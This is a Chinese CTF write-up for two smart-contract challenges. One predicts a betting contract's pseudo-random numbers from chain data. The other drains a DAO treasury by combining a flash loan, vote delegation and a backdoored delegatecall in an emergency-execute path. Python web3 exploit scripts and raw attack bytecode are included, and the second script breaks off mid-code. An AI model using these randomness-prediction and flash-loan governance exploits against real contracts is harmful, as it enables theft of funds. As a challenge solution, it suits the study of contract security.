bet2loss
这道题目是一个经典猜数游戏,通过猜20次未来可预测随机数来获得足够的钱数。
但我们发现附件里竟然还给了一个docker,随手npm audit一下。
发现了一个Web3库含有的 Unix socket 的洞,但是搜了搜没找到相关的漏洞详解,然后就放弃了从web来打这题。最后就用传统合约恩打了。
分析一下合约源码:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract BetToken {
/* owner */
address owner;
/* token related */
mapping(address => uint256) public balances;
/* random related */
uint256 nonce;
uint256 cost;
uint256 lasttime;
mapping(address => bool) public airdroprecord;
mapping(address => uint256) public logger;
constructor() {
owner = msg.sender;
balances[msg.sender] = 100000;
nonce = 0;
cost = 10;
lasttime = block.timestamp;
}
function seal(address to, uint256 amount) public {
require(msg.sender == owner, "you are not owner");
balances[to] += amount;
}
function checkWin(address candidate) public {
require(msg.sender == owner, "you are not owner");
require(candidate != owner, "you are cheating");
require(balances[candidate] > 2000, "you still not win");
balances[owner] += balances[candidate];
balances[candidate] = 0;
}
function transferTo(address to, uint256 amount) public pure {
require(amount == 0, "this function is not impelmented yet");
}
function airdrop() public {
require(
airdroprecord[msg.sender] == false,
"you already got your airdop"
);
airdroprecord[msg.sender] = true;
balances[msg.sender] += 30;
}
function bet(uint256 value, uint256 mod) public {
address _addr = msg.sender;
// make sure pseudo-random is strong
require(lasttime != block.timestamp);
require(mod >= 2 && mod <= 12);
require(logger[msg.sender] <= 20);
logger[msg.sender] += 1;
require(balances[msg.sender] >= cost);
// watchout, the sender need to approve such first
balances[msg.sender] -= cost;
// limit
value = value % mod;
// not contract
uint32 size;
assembly {
size := extcodesize(_addr)
}
require(size == 0);
// rnd gen
uint256 rand = uint256(
keccak256(
abi.encodePacked(
nonce,
block.timestamp,
block.difficulty,
msg.sender
)
)
) % mod;
nonce += 1;
lasttime = block.timestamp;
// for one, max to win 12 * 12 - 10 == 134
// if 20 times all right, will win 2680
if (value == rand) {
balances[msg.sender] += cost * mod;
}
}
}
我们可以看到bet函数里面需要计算的有下列内容
{nonce,
block.timetamp,
block.difficulty,
msg.sender}
那么这里我们已知的内容是nonce(通过web3获取),block.difficulty为2,
msg.sender就是我们的address。
那么唯独不好搞的就是block.timestamp了。但是通过部署几个测试合约后我们可以发现他应该是POA链,每次块与块之间生成间隔时间大概是30s。我用一个块做为基准,然后来计算当前的时间戳。
from web3 import Web3,HTTPProvider
from Crypto.Util.number import *
import time
from eth_abi import encode_abi
from eth_abi.packed import encode_abi_packed
web3=Web3(HTTPProvider("http://123.60.36.208:8545"))
print(web3.isConnected())
acct= web3.eth.account.from_key('private_Key')
print(acct.address)
game_address="0x21ac0df70A628cdB042Dde6f4Eb6Cf49bDE00Ff7"
def deploy(rawTx):
signedTx = web3.eth.account.signTransaction(rawTx, private_key=acct.privateKey)
hashTx = web3.eth.sendRawTransaction(signedTx.rawTransaction).hex()
receipt = web3.eth.waitForTransactionReceipt(hashTx)
#print(receipt)
return receipt
def int2bytes32(a):
return long_to_bytes(a).rjust(32,b'\x00')
if __name__ == '__main__':
airdrop = {
'from': acct.address,
'to': game_address,
'nonce': web3.eth.getTransactionCount(acct.address),
'gasPrice': web3.toWei(1, 'gwei'),
'gas': 487260,
'value': web3.toWei(0, 'ether'),
'data': "0x3884d635",
"chainId": 6666
}
info=deploy(airdrop)
print(info)
print("[+]AirDrop OKKK")
for i in range(0,20):
num=bytes_to_long(web3.eth.getStorageAt("0x21ac0df70A628cdB042Dde6f4Eb6Cf49bDE00Ff7",2))
diffcult=2
now_block=web3.eth.block_number()
temp_block=871
temp_time=1656141740
now_time=(now_block-temp_block+1)*30+temp_time
guess_num=bytes_to_long(Web3.keccak(encode_abi_packed(['uint256','uint','uint','address'],[num,now_time,diffcult,acct.address])))%12
guess_data='0x6ffcc719{}000000000000000000000000000000000000000000000000000000000000000c'.format(hex(guess_num)[2:].rjust(64,'0'))
rawTx1 = {
'from': acct.address,
'nonce': web3.eth.getTransactionCount(acct.address),
'to': game_address,
'gasPrice': web3.toWei(1, 'gwei'),
'gas': 487260,
'value': web3.toWei(0, 'ether'),
'data': guess_data,
"chainId": 6666
}
info=deploy(rawTx1)
print(info)
if info['status']!=1:
print("Bet Failed")
slot = Web3.keccak(encode_abi(['address'], [acct.address]) + int2bytes32(1))
print('[-] balance ' + str(web3.eth.getStorageAt("0x21ac0df70A628cdB042Dde6f4Eb6Cf49bDE00Ff7", slot)))
print("[+]Over {}/20".format(str(i)))
lasttime=bytes_to_long(web3.eth.getStorageAt(game_address,4))
print(lasttime,now_time)
time.sleep(30)
最后在 web端getflag的地方修改下address就可以了。
AAADAO
这是一个代币合约题,为数不多遇到过的代币题。一般代币题目没有明显的基于EVM上的漏洞。都是各种各样的功能组合了实现了一些东西。
本题有几个东西需要深入分析。Deploy合约
import "./Gov.sol";
import "./Token.sol";
contract Deployer{
event Deploy(address token, address gov);
function init() external returns(address,address) {
AAA token=new AAA();
Gov gov=new Gov(IVotes(token));
token.transfer(address(gov),token.balanceOf(address(this)));
emit Deploy(address(token), address(gov));
return (address(token),address(gov));
}
}
这里是new了一个代币AAA标准合约,还有一个Gov合约。
然后AAA代币合约把所有的铸出来的币都转给了Gov。我们的目标是把Gov余额清空。
观察目录结构:
/token下是一些ERC代币标准。我们可以发现goverance应该是本defi 的重点。
通过上网查询我们可知,这是一种治理规则。
而治理规则中定义了一种发起提案的方法,就相当于一个议会,所以参议员可以针对此进行投票。如果投票成功就可以执行提案。
然后在Gov这个合约中定义了提案的开始投票时间、持续时长
function votingDelay() publi c pure override returns (uint256) {
return 10; // 1 day
}
function votingPeriod() public pure override returns (uint256) {
return 46027; // 1 week
}
分别是10个区块和46027个区块。也就是从(10,46028]区块都是可以进行投票的。这个时候我们考虑去官网找官方实现goverance的代码进行diff。
diff --git a/contracts/governance/Governor.sol b/contracts/governance/Governor.sol
index 239b7fb..d60023c 100644
--- a/contracts/governance/Governor.sol
+++ b/contracts/governance/Governor.sol
@@ -128,7 +128,7 @@ abstract contract Governor is Context, ERC165, EIP712, IGovernor, IERC721Receive
* Note that the chainId and the governor address are not part of the proposal id computation. Consequently, the
* same proposal (with same operation and same description) will have the same id if submitted on multiple governors
* across multiple networks. This also means that in order to execute the same operation twice (on the same
- * governor) the proposer will have to change the description in order to avoid proposal id conflicts.
+ * governorx) the proposer will have to change the description in order to avoid proposal id conflicts.
*/
function hashProposal(
address[] memory targets,
@@ -207,6 +207,9 @@ abstract contract Governor is Context, ERC165, EIP712, IGovernor, IERC721Receive
*/
function _voteSucceeded(uint256 proposalId) internal view virtual returns (bool);
+ function _quorumReachedEmergency(uint256 proposalId) internal view virtual returns (bool);
+ function _voteSucceededEmergency(uint256 proposalId) internal view virtual returns (bool);
+
/**
* @dev Get the voting weight of `account` at a specific `blockNumber`, for a vote as described by `params`.
*/
@@ -283,6 +286,31 @@ abstract contract Governor is Context, ERC165, EIP712, IGovernor, IERC721Receive
return proposalId;
}
+ function emergencyExecuteRightNow(
+ address[] memory targets,
+ uint256[] memory values,
+ bytes[] memory calldatas,
+ bytes32 descriptionHash
+ ) public payable virtual override returns (uint256) {
+ uint256 proposalId = hashProposal(targets, values, calldatas, descriptionHash);
+
+ ProposalState status = state(proposalId);
+ require(status == ProposalState.Active);
+
+ if (_quorumReachedEmergency(proposalId) && _voteSucceededEmergency(proposalId)) {
+ _proposals[proposalId].executed = true;
+
+ emit ProposalExecuted(proposalId);
+
+ _beforeExecute(proposalId, targets, values, calldatas, descriptionHash);
+ _execute(proposalId, targets, values, calldatas, descriptionHash);
+ _afterExecute(proposalId, targets, values, calldatas, descriptionHash);
+ }else{
+ revert("not allowed");
+ }
+ return proposalId;
+ }
+
/**
* @dev See {IGovernor-execute}.
*/
@@ -320,10 +348,9 @@ abstract contract Governor is Context, ERC165, EIP712, IGovernor, IERC721Receive
bytes[] memory calldatas,
bytes32 /*descriptionHash*/
) internal virtual {
- string memory errorMessage = "Governor: call reverted without message";
for (uint256 i = 0; i < targets.length; ++i) {
- (bool success, bytes memory returndata) = targets[i].call{value: values[i]}(calldatas[i]);
- Address.verifyCallResult(success, returndata, errorMessage);
+ (bool success,)=targets[i].delegatecall(calldatas[i]);
+ require(success,"Call Failed");
}
}
diff --git a/contracts/governance/IGovernor.sol b/contracts/governance/IGovernor.sol
index 47a8316..8960373 100644
--- a/contracts/governance/IGovernor.sol
+++ b/contracts/governance/IGovernor.sol
@@ -209,6 +209,14 @@ abstract contract IGovernor is IERC165 {
*
* Note: some module can modify the requirements for execution, for example by adding an additional timelock.
*/
+
+ function emergencyExecuteRightNow(
+ address[] memory targets,
+ uint256[] memory values,
+ bytes[] memory calldatas,
+ bytes32 descriptionHash
+ ) public payable virtual returns (uint256 proposalId);
+
function execute(
address[] memory targets,
uint256[] memory values,
diff --git a/contracts/governance/extensions/GovernorCountingSimple.sol b/contracts/governance/extensions/GovernorCountingSimple.sol
index ce28aa3..657f050 100644
--- a/contracts/governance/extensions/GovernorCountingSimple.sol
+++ b/contracts/governance/extensions/GovernorCountingSimple.sol
@@ -79,6 +79,25 @@ abstract contract GovernorCountingSimple is Governor {
return proposalvote.forVotes > proposalvote.againstVotes;
}
+ function _quorumReachedEmergency(uint256 proposalId) internal view virtual override returns (bool) {
+ ProposalVote storage proposalvote = _proposalVotes[proposalId];
+
+ //return true;
+
+ return quorum(proposalSnapshot(proposalId)) *2 <= proposalvote.forVotes + proposalvote.abstainVotes;
+ }
+
+ /**
+ * @dev See {Governor-_voteSucceeded}. In this module, the forVotes must be strictly over the againstVotes.
+ */
+ function _voteSucceededEmergency(uint256 proposalId) internal view virtual override returns (bool) {
+ ProposalVote storage proposalvote = _proposalVotes[proposalId];
+
+ //return true;
+
+ return proposalvote.forVotes > proposalvote.againstVotes*2;
+ }
+
/**
* @dev See {Governor-_countVote}. In this module, the support follows the `VoteType` enum (from Governor Bravo).
*/
可以发现这里新加入了一个emergencyExcute的执行方法。它可以在满足一个投票数量条件的情况下直接执行提案。条件就是diff中写的_quorumReachedEmergency
,_voteSucceededEmergency
主要说的就是投票的个数。而投票个数是从getVotes()来的。基本就完全和个人账户所拥有的token数量有关,可以视为董事会投票,谁占有的股权更多那么就更有力。
那么发起提案可以做什么
function propose(
address[] memory targets,
uint256[] memory values,
bytes[] memory calldatas,
string memory description
) public virtual override returns (uint256) {
require(
getVotes(_msgSender(), block.number - 1) >= proposalThreshold(),
"Governor: proposer votes below proposal threshold"
);
uint256 proposalId = hashProposal(targets, values, calldatas, keccak256(bytes(description)));
require(targets.length == values.length, "Governor: invalid proposal length");
require(targets.length == calldatas.length, "Governor: invalid proposal length");
require(targets.length > 0, "Governor: empty proposal");
ProposalCore storage proposal = _proposals[proposalId];
require(proposal.voteStart.isUnset(), "Governor: proposal already exists");
uint64 snapshot = block.number.toUint64() + votingDelay().toUint64();
uint64 deadline = snapshot + votingPeriod().toUint64();
proposal.voteStart.setDeadline(snapshot);
proposal.voteEnd.setDeadline(deadline);
emit ProposalCreated(
proposalId,
_msgSender(),
targets,
values,
new string[](targets.length),
calldatas,
snapshot,
deadline,
description
);
return proposalId;
}
function execute(
address[] memory targets,
uint256[] memory values,
bytes[] memory calldatas,
bytes32 descriptionHash
) public payable virtual override returns (uint256) {
uint256 proposalId = hashProposal(targets, values, calldatas, descriptionHash);
ProposalState status = state(proposalId);
require(
status == ProposalState.Succeeded || status == ProposalState.Queued,
"Governor: proposal not successful"
);
_proposals[proposalId].executed = true;
emit ProposalExecuted(proposalId);
_beforeExecute(proposalId, targets, values, calldatas, descriptionHash);
_execute(proposalId, targets, values, calldatas, descriptionHash);
_afterExecute(proposalId, targets, values, calldatas, descriptionHash);
return proposalId;
}
propose发起的提案在同意之后可以在excute中执行。before和after主要是用来检查输入消息的。
function _execute(
uint256, /* proposalId */
address[] memory targets,
uint256[] memory values,
bytes[] memory calldatas,
bytes32 /*descriptionHash*/
) internal virtual {
for (uint256 i = 0; i < targets.length; ++i) {
(bool success,)=targets[i].delegatecall(calldatas[i]);
require(success,"Call Failed");
}
}
这里允许执行一个delegatecall 这里他需要检查一个delegatecall的回调。我们需要让他call我们定义的外部合约。在外部合约里调用token的transfer(),这样我们是以Gov的身份在调用token的转账所以可以把钱转走了。
那么这里也可以了。问题就在于怎么投票来通过提案了。
在Token里我们发现它实现了一个flashLoan,那么这时候整个攻击链就都有了。
首先由于提案需要延迟进行。我们先进行提案。
Propose=>等待十个区块时间=>flashLoan进行借贷,在onFlashLoan中需要实现的内容是:首先delegate()加入提案投票,从而有投票权,castVote()进行投票。然后调用emergency来瞬间执行提案。 这里提案就是Gov将钱转给我们用来归还闪电贷产生的借贷利息。
有几个细节是转账的时候要approve来进行转账金额调整。
给出Python的exp了:
from web3 import Web3,HTTPProvider
from Crypto.Util.number import *
import time
from eth_abi import encode_abi
from eth_abi.packed import encode_abi_packed
web3=Web3(HTTPProvider("http://123.60.90.204:8545/"))
print(web3.isConnected())
acct= web3.eth.account.from_key('PrivateKey')
print(acct.address)
def deploy(rawTx):
signedTx = web3.eth.account.signTransaction(rawTx, private_key=acct.privateKey)
hashTx = web3.eth.sendRawTransaction(signedTx.rawTransaction).hex()
receipt = web3.eth.waitForTransactionReceipt(hashTx)
#print(receipt)
return receipt
if __name__ == '__main__':
rawTx = {
'from': acct.address,
'to':"0x42Edb97227435bbBa12aE3e26DF8c5AEE2b3F4b6",
'nonce': web3.eth.getTransactionCount(acct.address),
'gasPrice': web3.toWei(1, 'gwei'),
'gas': 3007260,
'value': web3.toWei(0, 'ether'),
'data': "0x608060405273dd9ee6eb7648fb753ee689f51f4819793286683a6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073e603c06e570ea309b91862d06e0a8e4ae1439324600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506b204fce5e3e250261100000006004556a52b7d2dcc80cd2e40000006005557f439148f0bbc682ca079e46d6e2c2f0c1e3b820f1a291b069d8882abf8cf18dd9600755348015620000fd57600080fd5b506040516200010c9062000597565b604051809103906000f08015801562000129573d6000803e3d6000fd5b50600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1630600554604051602401620001a39392919062000903565b6040516020818303038152906040527ffd9ba018000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506003908051906020019062000237929190620005a5565b50620002486200024e60201b60201c565b62000bf3565b6000600167ffffffffffffffff8111156200026e576200026d62000b94565b5b6040519080825280602002602001820160405280156200029d5781602001602082028036833780820191505090505b509050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681600081518110620002da57620002d962000b65565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506000600167ffffffffffffffff81111562000334576200033362000b94565b5b604051908082528060200260200182016040528015620003635781602001602082028036833780820191505090505b5090506000816000815181106200037f576200037e62000b65565b5b6020026020010181815250506000600167ffffffffffffffff811115620003ab57620003aa62000b94565b5b604051908082528060200260200182016040528015620003e057816020015b6060815260200190600190039081620003ca5790505b50905060038054620003f29062000b00565b80601f0160208091040260200160405190810160405280929190818152602001828054620004209062000b00565b8015620004715780601f10620004455761010080835404028352916020019162000471565b820191906000526020600020905b8154815290600101906020018083116200045357829003601f168201915b5050505050816000815181106200048d576200048c62000b65565b5b602002602001018190525060006040518060400160405280600181526020017f31000000000000000000000000000000000000000000000000000000000000008152509050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16637d5e81e2858585856040518563ffffffff1660e01b815260040162000535949392919062000940565b602060405180830381600087803b1580156200055057600080fd5b505af115801562000565573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200058b91906200066c565b60068190555050505050565b61034e806200209383390190565b828054620005b39062000b00565b90600052602060002090601f016020900481019282620005d7576000855562000623565b82601f10620005f257805160ff191683800117855562000623565b8280016001018555821562000623579182015b828111156200062257825182559160200191906001019062000605565b5b50905062000632919062000636565b5090565b5b808211156200065157600081600090555060010162000637565b5090565b600081519050620006668162000bd9565b92915050565b60006020828403121562000685576200068462000bc3565b5b6000620006958482850162000655565b91505092915050565b6000620006ac8383620006e8565b60208301905092915050565b6000620006c683836200085f565b905092915050565b6000620006dc8383620008e1565b60208301905092915050565b620006f38162000a8c565b82525050565b620007048162000a8c565b82525050565b60006200071782620009d9565b62000723818562000a37565b93506200073083620009a9565b8060005b83811015620007675781516200074b88826200069e565b9750620007588362000a10565b92505060018101905062000734565b5085935050505092915050565b60006200078182620009e4565b6200078d818562000a48565b935083602082028501620007a185620009b9565b8060005b85811015620007e35784840389528151620007c18582620006b8565b9450620007ce8362000a1d565b925060208a01995050600181019050620007a5565b50829750879550505050505092915050565b60006200080282620009ef565b6200080e818562000a59565b93506200081b83620009c9565b8060005b8381101562000852578151620008368882620006ce565b9750620008438362000a2a565b9250506001810190506200081f565b5085935050505092915050565b60006200086c82620009fa565b62000878818562000a6a565b93506200088a81856020860162000aca565b620008958162000bc8565b840191505092915050565b6000620008ad8262000a05565b620008b9818562000a7b565b9350620008cb81856020860162000aca565b620008d68162000bc8565b840191505092915050565b620008ec8162000ac0565b82525050565b620008fd8162000ac0565b82525050565b60006060820190506200091a6000830186620006f9565b620009296020830185620006f9565b620009386040830184620008f2565b949350505050565b600060808201905081810360008301526200095c81876200070a565b90508181036020830152620009728186620007f5565b9050818103604083015262000988818562000774565b905081810360608301526200099e8184620008a0565b905095945050505050565b6000819050602082019050919050565b6000819050602082019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b600081519050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b6000602082019050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b600062000a998262000aa0565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b60005b8381101562000aea57808201518184015260208101905062000acd565b8381111562000afa576000848401525b50505050565b6000600282049050600182168062000b1957607f821691505b6020821081141562000b305762000b2f62000b36565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b62000be48162000ac0565b811462000bf057600080fd5b50565b6114908062000c036000396000f3fe608060405234801561001057600080fd5b506004361061007d5760003560e01c80638f4ed3331161005b5780638f4ed333146100ee578063d2c00e24146100f8578063d336c82d14610116578063d40a71fb146101205761007d565b806313d6ede91461008257806318815d5b146100a057806323e30c8b146100be575b600080fd5b61008a61012a565b6040516100979190611063565b60405180910390f35b6100a8610130565b6040516100b59190610fe3565b60405180910390f35b6100d860048036038101906100d39190610b6e565b610136565b6040516100e59190610fe3565b60405180910390f35b6100f6610228565b005b6101006106a5565b60405161010d9190611048565b60405180910390f35b61011e6106cb565b005b61012861079f565b005b60065481565b60075481565b6000610140610228565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1686886101a9919061119b565b6040518363ffffffff1660e01b81526004016101c6929190610eff565b602060405180830381600087803b1580156101e057600080fd5b505af11580156101f4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906102189190610c08565b5060075490509695505050505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16635c19a95c306040518263ffffffff1660e01b81526004016102819190610ee4565b600060405180830381600087803b15801561029b57600080fd5b505af11580156102af573d6000803e3d6000fd5b50505050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166356781388600654600160028111156103085761030761132c565b5b6040518363ffffffff1660e01b815260040161032592919061107e565b602060405180830381600087803b15801561033f57600080fd5b505af1158015610353573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103779190610c35565b506000600167ffffffffffffffff811115610395576103946113b9565b5b6040519080825280602002602001820160405280156103c35781602001602082028036833780820191505090505b509050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16816000815181106103fd576103fc61138a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506000600167ffffffffffffffff811115610454576104536113b9565b5b6040519080825280602002602001820160405280156104825781602001602082028036833780820191505090505b50905060008160008151811061049b5761049a61138a565b5b6020026020010181815250506000600167ffffffffffffffff8111156104c4576104c36113b9565b5b6040519080825280602002602001820160405280156104f757816020015b60608152602001906001900390816104e25790505b50905060038054610507906112cb565b80601f0160208091040260200160405190810160405280929190818152602001828054610533906112cb565b80156105805780601f1061055557610100808354040283529160200191610580565b820191906000526020600020905b81548152906001019060200180831161056357829003601f168201915b5050505050816000815181106105995761059861138a565b5b602002602001018190525060006040518060400160405280600181526020017f31000000000000000000000000000000000000000000000000000000000000008152509050600081805190602001209050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16632c3a4314868686856040518563ffffffff1660e01b815260040161064b9493929190610f28565b602060405180830381600087803b15801561066557600080fd5b505af1158015610679573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061069d9190610c35565b505050505050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16635cffe9de3060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff166004546040518463ffffffff1660e01b815260040161074a93929190610ffe565b602060405180830381600087803b15801561076457600080fd5b505af1158015610778573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061079c9190610c08565b50565b6000600167ffffffffffffffff8111156107bc576107bb6113b9565b5b6040519080825280602002602001820160405280156107ea5781602001602082028036833780820191505090505b509050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16816000815181106108245761082361138a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506000600167ffffffffffffffff81111561087b5761087a6113b9565b5b6040519080825280602002602001820160405280156108a95781602001602082028036833780820191505090505b5090506000816000815181106108c2576108c161138a565b5b6020026020010181815250506000600167ffffffffffffffff8111156108eb576108ea6113b9565b5b60405190808252806020026020018201604052801561091e57816020015b60608152602001906001900390816109095790505b5090506003805461092e906112cb565b80601f016020809104026020016040519081016040528092919081815260200182805461095a906112cb565b80156109a75780601f1061097c576101008083540402835291602001916109a7565b820191906000526020600020905b81548152906001019060200180831161098a57829003601f168201915b5050505050816000815181106109c0576109bf61138a565b5b602002602001018190525060006040518060400160405280600181526020017f31000000000000000000000000000000000000000000000000000000000000008152509050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16637d5e81e2858585856040518563ffffffff1660e01b8152600401610a669493929190610f82565b602060405180830381600087803b158015610a8057600080fd5b505af1158015610a94573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ab89190610c35565b60068190555050505050565b600081359050610ad381611415565b92915050565b600081519050610ae88161142c565b92915050565b60008083601f840112610b0457610b036113ed565b5b8235905067ffffffffffffffff811115610b2157610b206113e8565b5b602083019150836001820283011115610b3d57610b3c6113f2565b5b9250929050565b600081359050610b5381611443565b92915050565b600081519050610b6881611443565b92915050565b60008060008060008060a08789031215610b8b57610b8a6113fc565b5b6000610b9989828a01610ac4565b9650506020610baa89828a01610ac4565b9550506040610bbb89828a01610b44565b9450506060610bcc89828a01610b44565b935050608087013567ffffffffffffffff811115610bed57610bec6113f7565b5b610bf989828a01610aee565b92509250509295509295509295565b600060208284031215610c1e57610c1d6113fc565b5b6000610c2c84828501610ad9565b91505092915050565b600060208284031215610c4b57610c4a6113fc565b5b6000610c5984828501610b59565b91505092915050565b6000610c6e8383610ca6565b60208301905092915050565b6000610c868383610e04565b905092915050565b6000610c9a8383610eb7565b60208301905092915050565b610caf816111f1565b82525050565b610cbe816111f1565b82525050565b6000610ccf826110d7565b610cd98185611135565b9350610ce4836110a7565b8060005b83811015610d15578151610cfc8882610c62565b9750610d078361110e565b925050600181019050610ce8565b5085935050505092915050565b6000610d2d826110e2565b610d378185611146565b935083602082028501610d49856110b7565b8060005b85811015610d855784840389528151610d668582610c7a565b9450610d718361111b565b925060208a01995050600181019050610d4d565b50829750879550505050505092915050565b6000610da2826110ed565b610dac8185611157565b9350610db7836110c7565b8060005b83811015610de8578151610dcf8882610c8e565b9750610dda83611128565b925050600181019050610dbb565b5085935050505092915050565b610dfe8161120f565b82525050565b6000610e0f826110f8565b610e198185611168565b9350610e29818560208601611298565b610e3281611401565b840191505092915050565b610e4681611250565b82525050565b610e5581611274565b82525050565b6000610e6682611103565b610e70818561118a565b9350610e80818560208601611298565b610e8981611401565b840191505092915050565b6000610ea1600083611179565b9150610eac82611412565b600082019050919050565b610ec081611239565b82525050565b610ecf81611239565b82525050565b610ede81611243565b82525050565b6000602082019050610ef96000830184610cb5565b92915050565b6000604082019050610f146000830185610cb5565b610f216020830184610ec6565b9392505050565b60006080820190508181036000830152610f428187610cc4565b90508181036020830152610f568186610d97565b90508181036040830152610f6a8185610d22565b9050610f796060830184610df5565b95945050505050565b60006080820190508181036000830152610f9c8187610cc4565b90508181036020830152610fb08186610d97565b90508181036040830152610fc48185610d22565b90508181036060830152610fd88184610e5b565b905095945050505050565b6000602082019050610ff86000830184610df5565b92915050565b60006080820190506110136000830186610e3d565b6110206020830185610cb5565b61102d6040830184610ec6565b818103606083015261103e81610e94565b9050949350505050565b600060208201905061105d6000830184610e4c565b92915050565b60006020820190506110786000830184610ec6565b92915050565b60006040820190506110936000830185610ec6565b6110a06020830184610ed5565b9392505050565b6000819050602082019050919050565b6000819050602082019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b600081519050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b6000602082019050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b60006111a682611239565b91506111b183611239565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156111e6576111e56112fd565b5b828201905092915050565b60006111fc82611219565b9050919050565b60008115159050919050565b6000819050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061125b82611262565b9050919050565b600061126d82611219565b9050919050565b600061127f82611286565b9050919050565b600061129182611219565b9050919050565b60005b838110156112b657808201518184015260208101905061129b565b838111156112c5576000848401525b50505050565b600060028204905060018216806112e357607f821691505b602082108114156112f7576112f661135b565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b50565b61141e816111f1565b811461142957600080fd5b50565b61143581611203565b811461144057600080fd5b50565b61144c81611239565b811461145757600080fd5b5056fea26469706673582212204d9281d47c986b6ff4a534b3550b7c540cb17b20a45d231ae1ab8d0b87663b4c64736f6c63430008060033608060405234801561001057600080fd5b5061032e806100206000396000f3fe608060405234801561001057600080fd5b506004361061002b5760003560e01c8063fd9ba01814610030575b600080fd5b61004a60048036038101906100459190610179565b610060565b6040516100579190610222565b60405180910390f35b60008373ffffffffffffffffffffffffffffffffffffffff1663a9059cbb84846040518363ffffffff1660e01b815260040161009d9291906101f9565b602060405180830381600087803b1580156100b757600080fd5b505af11580156100cb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906100ef919061014c565b90509392505050565b6000813590506101078161029c565b92915050565b60008151905061011c816102b3565b92915050565b600081359050610131816102ca565b92915050565b600081359050610146816102e1565b92915050565b60006020828403121561016257610161610297565b5b60006101708482850161010d565b91505092915050565b60008060006060848603121561019257610191610297565b5b60006101a086828701610122565b93505060206101b1868287016100f8565b92505060406101c286828701610137565b9150509250925092565b6101d58161023d565b82525050565b6101e48161024f565b82525050565b6101f38161028d565b82525050565b600060408201905061020e60008301856101cc565b61021b60208301846101ea565b9392505050565b600060208201905061023760008301846101db565b92915050565b60006102488261026d565b9050919050565b60008115159050919050565b60006102668261023d565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600080fd5b6102a58161023d565b81146102b057600080fd5b50565b6102bc8161024f565b81146102c757600080fd5b50565b6102d38161025b565b81146102de57600080fd5b50565b6102ea8161028d565b81146102f557600080fd5b5056fea2646970667358221220690772bfa2fc91e6153baca3d1af73a34cc0908ab95a5d9c97bafbac8e9e9c2a64736f6c63430008060033",
"chainId": 6789
}
temp=deploy(rawTx)
print(temp)
blocknum=temp['blockNumber']
while True:
now_block=web3.eth.block_number()
print(now_block)
if now_block-blocknum>10:
rawTx2 = {
'from': acct.address,
'to':"0x42Edb97227435bbBa12aE3e26DF8c5AEE2b3F4b6",
'nonce': web3.eth.getTransactionCount(acct.address),
'gasPrice': web3.toWei(1, 'gwei'),
'gas': 3007260,
